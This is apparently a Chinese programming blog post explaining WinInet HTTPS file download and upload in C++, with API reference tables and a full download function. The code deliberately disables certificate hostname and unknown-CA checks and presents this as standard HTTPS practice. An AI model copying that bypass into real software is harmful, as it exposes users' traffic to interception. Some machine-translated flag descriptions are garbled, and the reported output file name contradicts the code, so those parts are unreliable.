    dwFlags = dwFlags|SECURITY_FLAG_IGNORE_UNKNOWN_CA; ::InternetSetOption(hRequest, INTERNET_OPTION_SECUR ITY_FLAGS, &dwFlags, sizeof(dwFlags)); ::HttpSendRequest(hRequest, NULL, 0, NULL, 0);
    HTTPS需要设置忽略未知的证书颁发机构


    接收响应信息头
    ::HttpQueryInfo(hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, pResponseHeaderIInfo, &dwResponseHeaderIInfoSize, NULL);
    ::HttpQueryInfo(hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, pResponseHeaderIInfo, &dwResponseHeaderIInfoSize, NULL);
    相同


    接收数据
    ::InternetReadFile(hRequest, pBuf, dwBufSize, &dwRet);
    ::InternetReadFile(hRequest, pBuf, dwBufSize, &dwRet);
    相同


    关闭句柄
    ::InternetCloseHandle(hRequest); ::InternetCloseHandle(hConnect); ::InternetCloseHandle(hInternet);
    ::InternetCloseHandle(hRequest); ::InternetCloseHandle(hConnect); ::InternetCloseHandle(hInternet);
    相同



    HTTP与HTTPS文件上传的异同点


    操作
    HTTP文件上传
    HTTPS文件上传
    异或同




    建立会话
    ::InternetOpen(“WinInetGet/0.1”, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    ::InternetOpen(“WinInetGet/0.1”, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    相同


    建立连接
    :InternetConnect(hInternet, szHostName, INTERNET_DEFAULT_HTTP_PORT, szUserName, szPassword, INTERNET_SERVICE_HTTP, 0, 0);
    ::InternetConnect(hInternet, szHostName, INTERNET_DEFAULT_HTTPS_PORT, szUserName, szPassword, INTERNET_SERVICE_HTTP, 0, 0);
    端口有区别


    打开请求
    dwOpenRequestFlags = INTERNET_FLAG_IGNORE_RE DIRECT_TO_HTTP|INTERNET_FLAG_KEEP_CON NECTION|INTERNET_FLAG_NO_AUTH|INTERNET_FLAG_NO_COOKIES|INTERNET_FLAG_NO_UI;
    dwOpenRequestFlags = INTERNET_FLAG_IGNORE_RE DIRECT_TO_HTTP|INTERNET_FLAG_KEEP_CON NECTION|INTERNET_FLAG_NO_AUTH|INTERNET_FLAG_NO_COOKIES|INTERNET_FLAG_NO_UI|INTERNET_FLAG_SECURE|INTERNET_FLAG_IGNORE_CERT_CN_INVALID|INTERNET_FLAG_RELOAD;
    请求标志不同


    附加请求头(可写可不写)
    ::HttpAddRequestHeaders(hRequest, szRequestHeaders, ::lstrlen(szRequestHeaders), HTTP_ADDREQ_FLAG_ADD);
    ::HttpAddRequestHeaders(hRequest, szRequestHeaders, ::lstrlen(szRequestHeaders), HTTP_ADDREQ_FLAG_ADD);
    相同


    发送请求
    ::HttpSendRequestEx(hRequest, &internetBuffers, NULL, 0, 0);
    dwFlags = dwFlags|SECURITY_FLAG_IGNORE_UNKNOWN_CA; ::InternetSetOption(hRequest, INTERNET_OPTION_SECUR ITY_FLAGS, &dwFlags, sizeof(dwFlags)); ::HttpSendRequestEx(hRequest, &internetBuffers, NULL, 0, 0);
    HTTPS需要设置忽略未知的证书颁发机构


    发送数据数据
    ::InternetWriteFile(hRequest, pUploadData, dwUploadDataSize, &dwRet);
    ::InternetWriteFile(hRequest, pUploadData, dwUploadDataSize, &dwRet);
    相同


    结束数据请求
    ::HttpEndRequest(hRequest, NULL, 0, 0);
    ::HttpEndRequest(hRequest, NULL, 0, 0);
    相同


    关闭句柄
    ::InternetCloseHandle(hRequest); ::InternetCloseHandle(hConnect); ::InternetCloseHandle(hInternet);
    ::InternetCloseHandle(hRequest); ::InternetCloseHandle(hConnect); ::InternetCloseHandle(hInternet);
    相同



    总结由上述的对比可知,HTTPS可基于HTTP上修改得到。它们的区别主要是体现在 3 点上:

    使用的连接端口不同;HTTP使用的是INTERNET_DEFAULT_HTTP_PORT也就是80端口;HTTPS使用的是INTERNET_DEFAULT_HTTPS_PORT,也就是443端口。
    请求标志不同;
    HTTP的请求标志有:
    INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP INTERNET_FLAG_KEEP_CONNECTION INTERNET_FLAG_NO_AUTH INTERNET_FLAG_NO_COOKIES INTERNET_FLAG_NO_UI
    HTTPS的请求标志在HTTP的基础上,还增加多 3 个:
    INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP INTERNET_FLAG_KEEP_CONNECTION INTERNET_FLAG_NO_AUTH INTERNET_FLAG_NO_COOKIES INTERNET_FLAG_NO_UI // HTTPS SETTING INTERNET_FLAG_SECURE INTERNET_FLAG_IGNORE_CERT_CN_INVALID INTERNET_FLAG_RELOAD
    发送请求的返回处理不同;HTTP若返回错误,则直接退出;而HTTPS若返回错误,则判断错误的类型是否是ERROR_INTERNET_INVALID_CA,然后设置忽略未知的证书颁发机构的安全标识,确保访问到一些使用自签名证书的HTTPS的网站。

    参考参考自《Windows黑客编程技术详解》一书
    0 回答 2018-12-23 14:31:41
  • 基于WinInet的HTTPS文件下载实现

    背景如果你之前写过基于WinInet库的HTTP下载文件,那么你在看完本文之后,就会发觉,这是和HTTP文件下载的代码几乎是一模一样的,就是有几个地方的区别而已。但是,本文不是对HTTP和HTTPS在WinInet库中的区别进行总结的,总结就另外写。
    本文就是基于WinInet网络库,实现通过HTTPS传输协议下载文件功能的小程序。现在,就把开发过程的思路和编程分享给大家。
    主要函数介绍介绍HTTPS下载文件使用到的主要的WinInet库中的API函数。
    1. InternetOpen介绍
    函数声明
    HINTERNET InternetOpen(In LPCTSTR lpszAgent,In DWORD dwAccessType,In LPCTSTR lpszProxyName,In LPCTSTR lpszProxyBypass,In DWORD dwFlags);
    参数lpszAgent指向一个空结束的字符串,该字符串指定调用WinInet函数的应用程序或实体的名称。使用此名称作为用户代理的HTTP协议。dwAccessType指定访问类型,参数可以是下列值之一:



    Value
    Meaning




    INTERNET_OPEN_TYPE_DIRECT
    使用直接连接网络


    INTERNET_OPEN_TYPE_PRECONFIG
    获取代理或直接从注册表中的配置,使用代理连接网络


    INTERNETOPEN_TYPE_PRECONFIG WITH_NO_AUTOPROXY
    获取代理或直接从注册表中的配置,并防止启动Microsoft JScript或Internet设置(INS)文件的使用


    INTERNET_OPEN_TYPE_PROXY
    通过代理的请求,除非代理旁路列表中提供的名称解析绕过代理,在这种情况下,该功能的使用



    lpszProxyName指针指向一个空结束的字符串,该字符串指定的代理服务器的名称,不要使用空字符串;如果dwAccessType未设置为INTERNET_OPEN_TYPE_PROXY,则此参数应该设置为NULL。
    lpszProxyBypass指向一个空结束的字符串,该字符串指定的可选列表的主机名或IP地址。如果dwAccessType未设置为INTERNET_OPEN_TYPE_PROXY的 ,参数省略则为NULL。
    dwFlags参数可以是下列值的组合:



    VALUE
    MEANING




    INTERNET_FLAG_ASYNC
    使异步请求处理的后裔从这个函数返回的句柄


    INTERNET_FLAG_FROM_CACHE
    不进行网络请求,从缓存返回的所有实体,如果请求的项目不在缓存中,则返回一个合适的错误,如ERROR_FILE_NOT_FOUND


    INTERNET_FLAG_OFFLINE
    不进行网络请求,从缓存返回的所有实体,如果请求的项目不在缓存中,则返回一个合适的错误,如ERROR_FILE_NOT_FOUND



    返回值成功:返回一个有效的句柄,该句柄将由应用程序传递给接下来的WinInet函数。失败:返回NULL。

    2. InternetConnect介绍
    函数声明
    HINTERNET WINAPI InternetConnect( HINTERNET hInternet, LPCTSTR lpszServerName, INTERNET_PORT nServerPort, LPCTSTR lpszUserName, LPCTSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD dwContext);
    参数说明hInternet:由InternetOpen返回的句柄。lpszServerName:连接的ip或者主机名nServerPort:连接的端口。lpszUserName:用户名,如无置NULL。lpszPassword:密码,如无置NULL。dwService:使用的服务类型,可以使用以下

    INTERNET_SERVICE_FTP = 1:连接到一个 FTP 服务器上INTERNET_SERVICE_GOPHER = 2INTERNET_SERVICE_HTTP = 3:连接到一个 HTTP 服务器上
    dwFlags:文档传输形式及缓存标记。一般置0。dwContext:当使用回叫信号时, 用来识别应用程序的前后关系。返回值成功返回非0。如果返回0。要InternetCloseHandle释放这个句柄。

    3. HttpOpenRequest介绍
    函数声明
    HINTERNET HttpOpenRequest( _In_ HINTERNET hConnect, _In_ LPCTSTR lpszVerb, _In_ LPCTSTR lpszObjectName, _In_ LPCTSTR lpszVersion, _In_ LPCTSTR lpszReferer, _In_ LPCTSTR *lplpszAcceptTypes, _In_ DWORD dwFlags, _In_ DWORD_PTR dwContext);
    参数
    hConnect:由InternetConnect返回的句柄。
    lpszVerb:一个指向某个包含在请求中要用的动词的字符串指针。如果为NULL,则使用“GET”。
    lpszObjectName:一个指向某个包含特殊动词的目标对象的字符串的指针。通常为文件名称、可执行模块或者查找标识符。
    lpszVersion:一个指向以null结尾的字符串的指针,该字符串包含在请求中使用的HTTP版本,Internet Explorer中的设置将覆盖该参数中指定的值。如果此参数为NULL,则该函数使用1.1或1.0的HTTP版本,这取决于Internet Explorer设置的值。
    lpszReferer:一个指向指定了包含着所需的URL (pstrObjectName)的文档地址(URL)的指针。如果为NULL,则不指定HTTP头。
    lplpszAcceptTypes:一个指向某空终止符的字符串的指针,该字符串表示客户接受的内容类型。如果该字符串为NULL,服务器认为客户接受“text/*”类型的文档 (也就是说,只有纯文本文档,并且不是图片或其它二进制文件)。内容类型与CGI变量CONTENT_TYPE相同,该变量确定了要查询的含有相关信息的数据的类型,如HTTP POST和PUT。
    dwFlags:dwFlags的值可以是下面一个或者多个。



    价值
    说明




    INTERNET_FLAG_DONT_CACHE
    不缓存的数据,在本地或在任何网关。 相同的首选值INTERNET_FLAG_NO_CACHE_WRITE。


    INTERNET_FLAG_EXISTING_CONNECT
    如果可能的话,重用现有的连接到每个服务器请求新的请求而产生的InternetOpenUrl创建一个新的会话。 这个标志是有用的,只有对FTP连接,因为FTP是唯一的协议,通常在同一会议执行多个操作。 在Win 32 API的缓存一个单一的Internet连接句柄为每个HINTERNET处理产生的InternetOpen。


    INTERNET_FLAG -超链接
    强制重载如果没有到期的时间也没有最后修改时间从服务器在决定是否加载该项目从网络返回。


    INTERNET_FLAG_IGNORE_CERT_CN_INVALID
    禁用的Win32上网功能的SSL /厘为基础的打击是从给定的请求服务器返回的主机名称证书检查。 Win32的上网功能用来对付证书由匹配主机名和HTTP请求一个简单的通配符规则比较简单的检查。


    INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
    禁用的Win32上网功能的SSL /厘为基础的HTTP请求适当的日期,证书的有效性检查。


    INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP
    禁用的Win32上网功能能够探测到这种特殊类型的重定向。 当使用此标志,透明的Win32上网功能允许对HTTP重定向的URL从HTTPS。


    INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS
    禁用的Win32上网功能能够探测到这种特殊类型的重定向。 当使用此标志,透明的Win32上网功能允许从HTTP重定向到HTTPS网址。


    INTERNET_FLAG_KEEP_CONNECTION
    使用保持活动语义,如果有的话,给HTTP请求连接。 这个标志是必需的微软网络(MSN),NT LAN管理器(NTLM)和其他类型的身份验证。


    INTERNET_FLAG_MAKE_PERSISTENT
    不再支持。


    INTERNET_FLAG_MUST_CACHE_REQUEST
    导致一个临时文件如果要创建的文件不能被缓存。 相同的首选值INTERNET_FLAG_NEED_FILE。


    INTERNET_FLAG_NEED_FILE
    导致一个临时文件如果要创建的文件不能被缓存。


    INTERNET_FLAG_NO_AUTH
    不尝试HTTP请求身份验证自动。


    INTERNET_FLAG_NO_AUTO_REDIRECT
    不自动处理HTTP请求重定向只。


    INTERNET_FLAG_NO_CACHE_WRITE
    不缓存的数据,在本地或在任何网关。


    INTERNET_FLAG_NO_COOKIES
    不会自动添加Cookie标头的请求,并不会自动添加返回的Cookie的HTTP请求的Cookie数据库。


    INTERNET_FLAG_NO_UI
    禁用cookie的对话框。


    INTERNET_FLAG_PASSIVE
    使用被动FTP语义FTP文件和目录。


    INTERNET_FLAG_RAW_DATA
    返回一个数据WIN32_FIND_DATA结构时,FTP目录检索信息。 如果这个标志,或者未指定代理的电话是通过一个CERN,InternetOpenUrl返回的HTML版本的目录。


    INTERNET_FLAG_PRAGMA_NOCACHE
    强制要求被解决的原始服务器,即使在代理缓存的副本存在。


    INTERNET_FLAG_READ_PREFETCH
    该标志目前已停用。


    INTERNET_FLAG_RELOAD
    从导线获取数据,即使是一个本地缓存。


    INTERNET_FLAG_RESYNCHRONIZE
    重整HTTP资源,如果资源已被修改自上一次被下载。 所有的FTP资源增值。


    INTERNET_FLAG_SECURE
    请确保在使用SSL或PCT线交易。 此标志仅适用于HTTP请求。



    dwContext:OpenRequest操作的上下文标识符。

    4. InternetReadFile介绍
    函数声明
    BOOL InternetReadFile( __in HINTERNET hFile,__out LPVOID lpBuffer,__in DWORD dwNumberOfBytesToRead,__out LPDWORD lpdwNumberOfBytesRead);
    参数

    hFile[in]
    由InternetOpenUrl,FtpOpenFile, 或HttpOpenRequest函数返回的句柄.
    lpBuffer[out]
    缓冲器指针
    dwNumberOfBytesToRead[in]
    欲读数据的字节量。
    lpdwNumberOfBytesRead[out]
    接收读取字节量的变量。该函数在做任何工作或错误检查之前都设置该值为零

    返回值成功:返回TRUE,失败,返回FALSE

    程序设计原理该部分讲解下程序设计的原理以及实现的流程,让大家有个宏观的认识。原理是:

    首先,使用 InternetCrackUrl 函数分解URL,从URL中提取网站的域名、路径以及URL的附加信息等。关于 InternetCrackUrl 分解URL的介绍和实现,可以参考 “URL分解之InternetCrackUrl” 这篇文章
    使用 InternetOpen 建立会话,获取会话句柄
    使用 InternetConnect 与网站建立连接,获取连接句柄
    设置HTTPS的访问标志,使用 HttpOpenRequest 打开HTTP的“GET”请求
    使用 HttpSendRequest 发送访问请求,同时根据出错返回的错误码,来判断是否设置忽略未知的证书颁发机构,以确保能正常访问HTTPS网站
    根据返回的Response Header的数据中,获取将要接收数据的长度
    使用 InternetReadFile 接收数据
    关闭句柄,释放资源

    其中,上面的 8 个步骤中,要注意第 4 步访问标志的标志设置;注意第 5 步的忽略未知的证书颁发机构的设置;同时,还要注意的就是第 6 步,获取返回的数据长度,是从响应信息头中的获取“Content-Length: ”(注意有个空格)这个字段的数据。
    编程实现1. 导入WinInet库#include <WinInet.h>#pragma comment(lib, "WinInet.lib")
    2. HTTPS文件下载编程实现// 数据下载// 输入:下载数据的URL路径// 输出:下载数据内容、下载数据内容长度BOOL Https_Download(char *pszDownloadUrl, BYTE **ppDownloadData, DWORD *pdwDownloadDataSize){ // INTERNET_SCHEME_HTTPS、INTERNET_SCHEME_HTTP、INTERNET_SCHEME_FTP等 char szScheme[MAX_PATH] = {0}; char szHostName[MAX_PATH] = { 0 }; char szUserName[MAX_PATH] = { 0 }; char szPassword[MAX_PATH] = { 0 }; char szUrlPath[MAX_PATH] = { 0 }; char szExtraInfo[MAX_PATH] = { 0 }; ::RtlZeroMemory(szScheme, MAX_PATH); ::RtlZeroMemory(szHostName, MAX_PATH); ::RtlZeroMemory(szUserName, MAX_PATH); ::RtlZeroMemory(szPassword, MAX_PATH); ::RtlZeroMemory(szUrlPath, MAX_PATH); ::RtlZeroMemory(szExtraInfo, MAX_PATH); // 分解URL if (FALSE == Https_UrlCrack(pszDownloadUrl, szScheme, szHostName, szUserName, szPassword, szUrlPath, szExtraInfo, MAX_PATH)) { return FALSE; } // 数据下载 HINTERNET hInternet = NULL; HINTERNET hConnect = NULL; HINTERNET hRequest = NULL; DWORD dwOpenRequestFlags = 0; BOOL bRet = FALSE; unsigned char *pResponseHeaderIInfo = NULL; DWORD dwResponseHeaderIInfoSize = 2048; BYTE *pBuf = NULL; DWORD dwBufSize = 64*1024; BYTE *pDownloadData = NULL; DWORD dwDownloadDataSize = 0; DWORD dwRet = 0; DWORD dwOffset = 0; do { // 建立会话 hInternet = ::InternetOpen("WinInetGet/0.1", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); if (NULL == hInternet) { Https_ShowError("InternetOpen"); break; } // 建立连接(与HTTP的区别 -- 端口) hConnect = ::InternetConnect(hInternet, szHostName, INTERNET_DEFAULT_HTTPS_PORT, szUserName, szPassword, INTERNET_SERVICE_HTTP, 0, 0); if (NULL == hConnect) { Https_ShowError("InternetConnect"); break; } // 打开并发送HTTPS请求(与HTTP的区别--标志) dwOpenRequestFlags = INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_AUTH | INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_NO_UI | // HTTPS SETTING INTERNET_FLAG_SECURE | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_RELOAD; if (0 < ::lstrlen(szExtraInfo)) { // 注意此处的连接 ::lstrcat(szUrlPath, szExtraInfo); } hRequest = ::HttpOpenRequest(hConnect, "GET", szUrlPath, NULL, NULL, NULL, dwOpenRequestFlags, 0); if (NULL == hRequest) { Https_ShowError("HttpOpenRequest"); break; } // 发送请求(与HTTP的区别--对无效的证书颁发机构的处理) bRet = ::HttpSendRequest(hRequest, NULL, 0, NULL, 0); if (FALSE == bRet) { if (ERROR_INTERNET_INVALID_CA == ::GetLastError()) { DWORD dwFlags = 0; DWORD dwBufferSize = sizeof(dwFlags); // 获取INTERNET_OPTION_SECURITY_FLAGS标志 bRet = ::InternetQueryOption(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, &dwBufferSize); if (bRet) { // 设置INTERNET_OPTION_SECURITY_FLAGS标志 // 忽略未知的证书颁发机构 dwFlags = dwFlags | SECURITY_FLAG_IGNORE_UNKNOWN_CA; bRet = ::InternetSetOption(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags)); if (bRet) { // // 再次发送请求 bRet = ::HttpSendRequest(hRequest, NULL, 0, NULL, 0); if (FALSE == bRet) { Https_ShowError("HttpSendRequest"); break; } } else { Https_ShowError("InternetSetOption"); break; } } else { Https_ShowError("InternetQueryOption"); break; } } else { Https_ShowError("HttpSendRequest"); break; } } // 接收响应的报文信息头(Get Response Header) pResponseHeaderIInfo = new unsigned char[dwResponseHeaderIInfoSize]; if (NULL == pResponseHeaderIInfo) { break; } ::RtlZeroMemory(pResponseHeaderIInfo, dwResponseHeaderIInfoSize); bRet = ::HttpQueryInfo(hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, pResponseHeaderIInfo, &dwResponseHeaderIInfoSize, NULL); if (FALSE == bRet) { Https_ShowError("HttpQueryInfo"); break; }#ifdef _DEBUG printf("[HTTPS_Download_ResponseHeaderIInfo]\n\n%s\n\n", pResponseHeaderIInfo);#endif // 从 中字段 "Content-Length: "(注意有个空格) 获取数据长度 bRet = Https_GetContentLength((char *)pResponseHeaderIInfo, &dwDownloadDataSize); if (FALSE == bRet) { break; } // 接收报文主体内容(Get Response Body) pBuf = new BYTE[dwBufSize]; if (NULL == pBuf) { break; } pDownloadData = new BYTE[dwDownloadDataSize]; if (NULL == pDownloadData) { break; } ::RtlZeroMemory(pDownloadData, dwDownloadDataSize); do { ::RtlZeroMemory(pBuf, dwBufSize); bRet = ::InternetReadFile(hRequest, pBuf, dwBufSize, &dwRet); if (FALSE == bRet) { Https_ShowError("InternetReadFile"); break; } ::RtlCopyMemory((pDownloadData + dwOffset), pBuf, dwRet); dwOffset = dwOffset + dwRet; } while (dwDownloadDataSize > dwOffset); // 返回数据 *ppDownloadData = pDownloadData; *pdwDownloadDataSize = dwDownloadDataSize; } while (FALSE); // 关闭 释放 if (NULL != pBuf) { delete[]pBuf; pBuf = NULL; } if (NULL != pResponseHeaderIInfo) { delete[]pResponseHeaderIInfo; pResponseHeaderIInfo = NULL; } if (NULL != hRequest) { ::InternetCloseHandle(hRequest); hRequest = NULL; } if (NULL != hConnect) { ::InternetCloseHandle(hConnect); hConnect = NULL; } if (NULL != hInternet) { ::InternetCloseHandle(hInternet); hInternet = NULL; } return bRet;}
    程序测试在main函数中,调用上述封装好的函数,下载文件进行测试。
    main函数为:
    int _tmain(int argc, _TCHAR* argv[]){ char szHttpsDownloadUrl[] = "https://download.microsoft.com/download/0/2/3/02389126-40A7-46FD-9D83-802454852703/vc_mbcsmfc.exe"; BYTE *pHttpsDownloadData = NULL; DWORD dwHttpsDownloadDataSize = 0; // HTTPS下载 if (FALSE == Https_Download(szHttpsDownloadUrl, &pHttpsDownloadData, &dwHttpsDownloadDataSize)) { return 1; } // 将数据保存成文件 Https_SaveToFile("https_downloadsavefile.exe", pHttpsDownloadData, dwHttpsDownloadDataSize); // 释放内存 delete []pHttpsDownloadData; pHttpsDownloadData = NULL; system("pause"); return 0;}
    测试结果:
    根据返回的Response Header知道,成功下载67453208字节大小的数据。

    查看目录,有65873KB大小的“https_downloadsavefile.zip”文件成功生成,所以,数据下载成功。

    总结基于 WinInet 库的 HTTPS 下载文件原理并不复杂,但是,因为涉及较多的 API,每个 API 的执行都需要依靠上一个 API 成功执行返回的数据。所以,要仔细检查。如果出错,也要耐心调试,根据返回的错误码,结合程序前后部分的代码,仔细分析原因。
    同时要注意在使用 HttpOpenRequest 和 HttpSendRequest 函数中,对 HTTPS 的标志设置以及忽略未知的证书颁发机构。
    参考参考自《Windows黑客编程技术详解》一书
    1 回答 2018-12-22 10:15:55
  • 基于WinInet的HTTPS文件上传实现

    背景之前写过基于WinInet的HTTPS文件下载功能的小程序了,那就顺便把HTTPS文件上传也一并写了吧,这样知识才算是比较完整了。相对于文件下载来说,文件上传过程原理也都差不多,只要注意些区别就好了。
    现在,把基于WinInet的HTTPS文件上传功能小程序的开发过程分享给大家,方便大家的参考。
    前期准备前期需要本地搭建一个测试环境,本文搭建的是一个本地的HTTPS的ASP网站,同时,使用asp写了一个接收上传数据存储为文件的小程序test1.asp。
    搭建HTTPS传输的ASP服务器,可以参考本站上写的 “使用Windows7旗舰版64位来搭建本地HTTPS测试的ASP服务器” 这一篇文章,里面详细介绍了搭建过程和注意事项。同时,也可以参考 “修改ASP网站的文件传输大小的默认限制并对限制大小进行探索” 这一篇文章,介绍的是更改ASP网站上传的文件大小的限制。
    搭建测试环境的原因,就是为了测试,才能知道文件有没有成功上传到服务器上。当然,有条件的,也可以自己在公网上搭建服务器,这样测试会更加真实。
    主要函数介绍介绍HTTPS上传文件使用到的主要的WinInet库中的API函数。
    1. InternetOpen介绍
    函数声明
    HINTERNET InternetOpen(In LPCTSTR lpszAgent,In DWORD dwAccessType,In LPCTSTR lpszProxyName,In LPCTSTR lpszProxyBypass,In DWORD dwFlags);
    参数lpszAgent指向一个空结束的字符串,该字符串指定调用WinInet函数的应用程序或实体的名称。使用此名称作为用户代理的HTTP协议。dwAccessType指定访问类型,参数可以是下列值之一:



    Value
    Meaning




    INTERNET_OPEN_TYPE_DIRECT
    使用直接连接网络


    INTERNET_OPEN_TYPE_PRECONFIG
    获取代理或直接从注册表中的配置,使用代理连接网络


    INTERNETOPEN_TYPE_PRECONFIG WITH_NO_AUTOPROXY
    获取代理或直接从注册表中的配置,并防止启动Microsoft JScript或Internet设置(INS)文件的使用


    INTERNET_OPEN_TYPE_PROXY
    通过代理的请求,除非代理旁路列表中提供的名称解析绕过代理,在这种情况下,该功能的使用



    lpszProxyName指针指向一个空结束的字符串,该字符串指定的代理服务器的名称,不要使用空字符串;如果dwAccessType未设置为INTERNET_OPEN_TYPE_PROXY,则此参数应该设置为NULL。
    lpszProxyBypass指向一个空结束的字符串,该字符串指定的可选列表的主机名或IP地址。如果dwAccessType未设置为INTERNET_OPEN_TYPE_PROXY的 ,参数省略则为NULL。
    dwFlags参数可以是下列值的组合:



    VALUE
    MEANING




    INTERNET_FLAG_ASYNC
    使异步请求处理的后裔从这个函数返回的句柄


    INTERNET_FLAG_FROM_CACHE
    不进行网络请求,从缓存返回的所有实体,如果请求的项目不在缓存中,则返回一个合适的错误,如ERROR_FILE_NOT_FOUND


    INTERNET_FLAG_OFFLINE
    不进行网络请求,从缓存返回的所有实体,如果请求的项目不在缓存中,则返回一个合适的错误,如ERROR_FILE_NOT_FOUND



    返回值成功:返回一个有效的句柄,该句柄将由应用程序传递给接下来的WinInet函数。失败:返回NULL。

    2. InternetConnect介绍
    函数声明
    HINTERNET WINAPI InternetConnect( HINTERNET hInternet, LPCTSTR lpszServerName, INTERNET_PORT nServerPort, LPCTSTR lpszUserName, LPCTSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD dwContext);
    参数说明hInternet:由InternetOpen返回的句柄。lpszServerName:连接的ip或者主机名nServerPort:连接的端口。lpszUserName:用户名,如无置NULL。lpszPassword:密码,如无置NULL。dwService:使用的服务类型,可以使用以下

    INTERNET_SERVICE_FTP = 1:连接到一个 FTP 服务器上INTERNET_SERVICE_GOPHER = 2INTERNET_SERVICE_HTTP = 3:连接到一个 HTTP 服务器上
    dwFlags:文档传输形式及缓存标记。一般置0。dwContext:当使用回叫信号时, 用来识别应用程序的前后关系。返回值成功返回非0。如果返回0。要InternetCloseHandle释放这个句柄。

    3. HttpOpenRequest介绍
    函数声明
    HINTERNET HttpOpenRequest( _In_ HINTERNET hConnect, _In_ LPCTSTR lpszVerb, _In_ LPCTSTR lpszObjectName, _In_ LPCTSTR lpszVersion, _In_ LPCTSTR lpszReferer, _In_ LPCTSTR *lplpszAcceptTypes, _In_ DWORD dwFlags, _In_ DWORD_PTR dwContext);
    参数
    hConnect:由InternetConnect返回的句柄。
    lpszVerb:一个指向某个包含在请求中要用的动词的字符串指针。如果为NULL,则使用“GET”。
    lpszObjectName:一个指向某个包含特殊动词的目标对象的字符串的指针。通常为文件名称、可执行模块或者查找标识符。
    lpszVersion:一个指向以null结尾的字符串的指针,该字符串包含在请求中使用的HTTP版本,Internet Explorer中的设置将覆盖该参数中指定的值。如果此参数为NULL,则该函数使用1.1或1.0的HTTP版本,这取决于Internet Explorer设置的值。
    lpszReferer:一个指向指定了包含着所需的URL (pstrObjectName)的文档地址(URL)的指针。如果为NULL,则不指定HTTP头。
    lplpszAcceptTypes:一个指向某空终止符的字符串的指针,该字符串表示客户接受的内容类型。如果该字符串为NULL,服务器认为客户接受“text/*”类型的文档 (也就是说,只有纯文本文档,并且不是图片或其它二进制文件)。内容类型与CGI变量CONTENT_TYPE相同,该变量确定了要查询的含有相关信息的数据的类型,如HTTP POST和PUT。
    dwFlags:dwFlags的值可以是下面一个或者多个。



    价值
    说明




    INTERNET_FLAG_DONT_CACHE
    不缓存的数据,在本地或在任何网关。 相同的首选值INTERNET_FLAG_NO_CACHE_WRITE。


    INTERNET_FLAG_EXISTING_CONNECT
    如果可能的话,重用现有的连接到每个服务器请求新的请求而产生的InternetOpenUrl创建一个新的会话。 这个标志是有用的,只有对FTP连接,因为FTP是唯一的协议,通常在同一会议执行多个操作。 在Win 32 API的缓存一个单一的Internet连接句柄为每个HINTERNET处理产生的InternetOpen。


    INTERNET_FLAG -超链接
    强制重载如果没有到期的时间也没有最后修改时间从服务器在决定是否加载该项目从网络返回。


    INTERNET_FLAG_IGNORE_CERT_CN_INVALID
    禁用的Win32上网功能的SSL /厘为基础的打击是从给定的请求服务器返回的主机名称证书检查。 Win32的上网功能用来对付证书由匹配主机名和HTTP请求一个简单的通配符规则比较简单的检查。


    INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
    禁用的Win32上网功能的SSL /厘为基础的HTTP请求适当的日期,证书的有效性检查。


    INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP
    禁用的Win32上网功能能够探测到这种特殊类型的重定向。 当使用此标志,透明的Win32上网功能允许对HTTP重定向的URL从HTTPS。


    INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS
    禁用的Win32上网功能能够探测到这种特殊类型的重定向。 当使用此标志,透明的Win32上网功能允许从HTTP重定向到HTTPS网址。


    INTERNET_FLAG_KEEP_CONNECTION
    使用保持活动语义,如果有的话,给HTTP请求连接。 这个标志是必需的微软网络(MSN),NT LAN管理器(NTLM)和其他类型的身份验证。


    INTERNET_FLAG_MAKE_PERSISTENT
    不再支持。


    INTERNET_FLAG_MUST_CACHE_REQUEST
    导致一个临时文件如果要创建的文件不能被缓存。 相同的首选值INTERNET_FLAG_NEED_FILE。


    INTERNET_FLAG_NEED_FILE
    导致一个临时文件如果要创建的文件不能被缓存。


    INTERNET_FLAG_NO_AUTH
    不尝试HTTP请求身份验证自动。


    INTERNET_FLAG_NO_AUTO_REDIRECT
    不自动处理HTTP请求重定向只。


    INTERNET_FLAG_NO_CACHE_WRITE
    不缓存的数据,在本地或在任何网关。


    INTERNET_FLAG_NO_COOKIES
    不会自动添加Cookie标头的请求,并不会自动添加返回的Cookie的HTTP请求的Cookie数据库。


    INTERNET_FLAG_NO_UI
    禁用cookie的对话框。


    INTERNET_FLAG_PASSIVE
    使用被动FTP语义FTP文件和目录。


    INTERNET_FLAG_RAW_DATA
    返回一个数据WIN32_FIND_DATA结构时,FTP目录检索信息。 如果这个标志,或者未指定代理的电话是通过一个CERN,InternetOpenUrl返回的HTML版本的目录。


    INTERNET_FLAG_PRAGMA_NOCACHE
    强制要求被解决的原始服务器,即使在代理缓存的副本存在。


    INTERNET_FLAG_READ_PREFETCH
    该标志目前已停用。


    INTERNET_FLAG_RELOAD
    从导线获取数据,即使是一个本地缓存。


    INTERNET_FLAG_RESYNCHRONIZE
    重整HTTP资源,如果资源已被修改自上一次被下载。 所有的FTP资源增值。


    INTERNET_FLAG_SECURE
    请确保在使用SSL或PCT线交易。 此标志仅适用于HTTP请求。



    dwContext:OpenRequest操作的上下文标识符。

    4. WinHttpAddRequestHeaders介绍
    函数声明
    BOOL WINAPI WinHttpAddRequestHeaders( In HINTERNET hRequest, In LPCWSTR pwszHeaders, In DWORD dwHeadersLength, In DWORD dwModifiers);
    作用
    添加一个HTTP的请求头域。
    参数

